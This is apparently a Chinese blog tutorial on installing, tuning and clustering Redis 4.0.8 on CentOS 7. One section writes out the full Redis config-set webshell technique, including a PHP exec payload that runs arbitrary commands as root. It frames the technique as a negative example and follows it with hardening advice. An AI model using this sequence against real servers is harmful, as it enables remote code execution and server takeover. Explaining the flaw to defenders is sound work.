天天看點

CentOS7.X安裝Redis-4.0.8以及Redis叢集搭建

我的個人網站

安裝redis

  1. 安裝前的準備
    yum install \
    vim \
    wget \
    make \
    gcc \
    gcc-c++ \
    automake \
    autoconf \
    -y \           
  2. 下載下傳解壓并安裝
    cd /root
    wget http://download.redis.io/releases/redis-4.0.8.tar.gz
    tar -zxzf redis-4.0.8.tar.gz
    cd redis-4.0.8
    make PREFIX=/usr/local/redis/ install           
  3. 建立配置中要求的資料檔案存儲位置
    mkdir /data
    mkdir /data/redis
    mkdir /usr/local/redis/log           
  4. 添加修改配置檔案 參考配置
    cp ./redis.conf /usr/local/redis
    vim /usr/local/redis/redis.conf
    
    # IP綁定
    bind 127.0.0.1 192.168.0.111
    # 保護模式(開啟條件為各redis之間可以互相通信,做叢集不可開啟)
    protected-mode yes
    # 通路端口
    port 6379
    # 連接配接逾時,機關S,0為不啟用逾時
    timeout 0
    # 以守護程序運作
    daemonize yes
    # 資料檔案路徑
    dir /data/redis
    # 程序ID檔案的路徑
    pidfile /usr/local/redis/log/redis.pid
    # 日志檔案路徑
    logfile /usr/local/redis/log/redis.log
    # 開啟鍵過期删除通知
    notify-keyspace-events Ex
    
    ESC
    :wq
    
    # 以下安全配置選項僅作參考
        # 禁用部分危險指令
        rename-command FLUSHALL ""
        rename-command CONFIG   ""
        rename-command EVAL     ""
        # 添加通路密碼
        requirepass ********
        # IP綁定本機
        bind 127.0.0.1           
  5. 性能優化
    # 編輯/etc/rc.local
    vim /etc/rc.local
    
    echo never > /sys/kernel/mm/transparent_hugepage/enabled
    
    ESC
    :wq
    
    # 添加/etc/rc.local執行權限
    chmod +x /etc/rc.d/rc.local
    
    # 編輯/etc/sysctl.conf
    vim /etc/sysctl.conf
    
    vm.overcommit_memory = 1
    net.core.somaxconn = 1024
    
    ESC
    :wq
    
    # 立即解決
    echo never > /sys/kernel/mm/transparent_hugepage/enabled
    echo 1024 > /proc/sys/net/core/somaxconn
    sysctl vm.overcommit_memory=1
    sysctl -p           
  6. 修改目錄歸屬
    useradd -s /sbin/nologin -M redis
    chown -R redis:redis /data/redis
    chown -R redis:redis /usr/local/redis           
  7. 啟動redis并設定開機啟動
    # 進入單元檔案目錄
    cd /etc/systemd/system
    
    # 建立redis單元檔案,格式為: [單元檔案名].[單元檔案類型]
    vim redis.service
    
    [Unit]
    Description=Start redis on boot.
    After=default.target network.target
    
    [Service]
    User=redis
    Group=redis
    Type=forking
    PIDFile=/usr/local/redis/log/redis.pid
    ExecStart=/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf
    ExecReload=/bin/kill -s HUP $MAINPID
    ExecStop=/bin/kill -s QUIT $MAINPID
    PrivateTmp=false
    Restart=always
    
    [Install]
    WantedBy=multi-user.target
    
    ESC
    :wq
    
    # 修改檔案權限為隻有root使用者可以編輯該檔案
    chown -R root:root /etc/systemd/system/redis.service
    chmod -R 644 /etc/systemd/system/redis.service
    
    # 更新systemd
    systemctl daemon-reload
    systemctl enable redis
    systemctl start redis           
  8. 存入資料
    /usr/local/redis/bin/redis-cli -h 127.0.0.1
    
    set num 123
    save
    get num
    quit           
  9. 批量删除比對規則資料
    redis-cli keys [比對規則]|xargs redis-cli del           

Redis當機 aof檔案損壞 啟動失敗

  1. 拷貝aof檔案
  2. 修複壞損的aof檔案
    redis-check-aof --fix [aof檔案名]           
  3. 重新啟動Redis

Redis漏洞webshell的利用

參考連結
  1. Redis該漏洞用到的原理如下
    1. redis原生支援通過'redis-cli>config set'在不重新開機redis服務的情況

      下,動态修改配置dir、dbfilename;

    2. redis的配置中如果指定'dir /www/'和'dbfilename test.php',則當執

      行save指令時,會在/www/目錄下生成一個資料存儲檔案test.php,雖然該文

    件是一個二進制檔案,但其内容中包含儲存的資料的值,如果/www/目錄為web

    目錄,則/www/test.php則會被人利用,成為入侵你伺服器的入口;

  2. 漏洞舉例(這是一個負面教材)
    1. redis以超級管理者使用者root運作
    2. Nginx以超級管理者使用者root啟動,子程序也以root運作
    3. web伺服器為nginx,并做如下配置:
      server {
          listen       x;
          server_name  xxx.xxx.com;
          root         /www;
      
          location / {
              index    index.php index.html index.htm;
          }
      
          location ~ \.php$ {
              fastcgi_index  index.php;
              fastcgi_pass   127.0.0.1:9000;
              fastcgi_param  SCRIPT_NAME      $fastcgi_script_name;
              fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
              include        fastcgi_params;
          }
      }           
    4. 通過redis-cli執行了以下指令
      config set dir /www/
      config set dbfilename test.php
      set test "<?php exec($_GET['cmd']); ?>"
      save           
    5. 這時候可怕的事情出現了
      1. 在/www/目錄下,存在test.php檔案,它可以通過 http://xxx.xxx.com/test.php 通路到
      2. 如果現在通路 http://xxx.xxx.com/test.php?cmd=xxx, 那麼xxx就會被以root使用者執行(xxx為任意linux指令)

Redis漏洞webshell的防範

  1. 不要線上使用redis的web管理工具
  2. redis以低權限使用者運作(如rediser等讓人想不到的使用者名)
  3. redis僅允許通過本機和内網通路(bind 127.0.0.1 192.168.0.12/24)
  4. redis禁用config指令(在配置檔案中可以禁用rename-command CONFIG "")
  5. web服務子程序以低權限使用者運作(因為webshell的運作使用者為web服務的子程序)

redis叢集(cluster方式)

  1. 叢集前的配置(單機兩服務測試6379,6380)
    # 内網IP:192.168.0.100           
  2. 修改redis.conf
    vim /usr/local/redis/redis.conf
    
    # 啟用cluster
    cluster-enabled yes
    # 調用cluster配置檔案
    cluster-config-file nodes-6379.conf
    # 叢集逾時
    cluster-node-timeout 15000
    # 關閉當機全停
    cluster-require-full-coverage no
    # 叢集從屬元素個數
    cluster-slave-validity-factor 10
    # 從機數最低遷移值(master至少有兩台slave,才能做slave遷移)
    cluster-migration-barrier 1
    
    ESC
    :wq           
  3. 配置檔案添加
    yum install ruby
    gem install redis
    
    cp /usr/local/redis/redis.conf /usr/local/redis/redis.conf.backup
    cp /usr/local/redis/redis.conf /usr/local/redis/redis-6379.conf
    cp /usr/local/redis/redis.conf /usr/local/redis/redis-6380.conf
    
    mkdir /usr/local/redis/data/6379
    mkdir /usr/local/redis/data/6380           
  4. 修改redis-6379.conf
    vim /usr/local/redis/redis-6379.conf
    
    unixsocket /usr/local/redis/data/6379/redis.sock
    pidfile /usr/local/redis/log/redis_6379.pid
    logfile /usr/local/redis/log/redis_6379.log
    dir /usr/local/redis/data/6379/
    bind 192.168.0.100
    port 6379
    
    ESC
    :wq           
  5. 修改redis-6380.conf
    vim /usr/local/redis/redis-6380.conf
    
    unixsocket /usr/local/redis/data/6380/redis.sock
    pidfile /usr/local/redis/log/redis_6380.pid
    logfile "/usr/local/redis/log/redis_6380.log"
    dir /usr/local/redis/data/6380/
    bind 192.168.0.100
    port 6380
    
    ESC
    :wq           
  6. 修改開機啟動
    vim /etc/rc.local
    
    /usr/local/redis/bin/redis-server /usr/local/redis/redis-6379.conf
    /usr/local/redis/bin/redis-server /usr/local/redis/redis-6380.conf
    
    ESC
    :wq           
  7. 建立cluster
    cd /root/redis/src/
    # 檢視幫助
    ./redis-trib.rb help
    # 添加綁定
    ./redis-trib.rb create --replicas 1 192.168.0.100:6379 192.168.0.100:6380           
  8. 叢集測試
    /usr/local/redis/bin/redis-cli -h 192.168.0.100 -p 6379 -c           
  9. 正常關閉(不要強制關閉)
    /usr/local/redis/bin/redis-cli -h 192.168.0.100 -p 6379 shutdown           
  10. 領支付寶紅包支援作者

繼續閱讀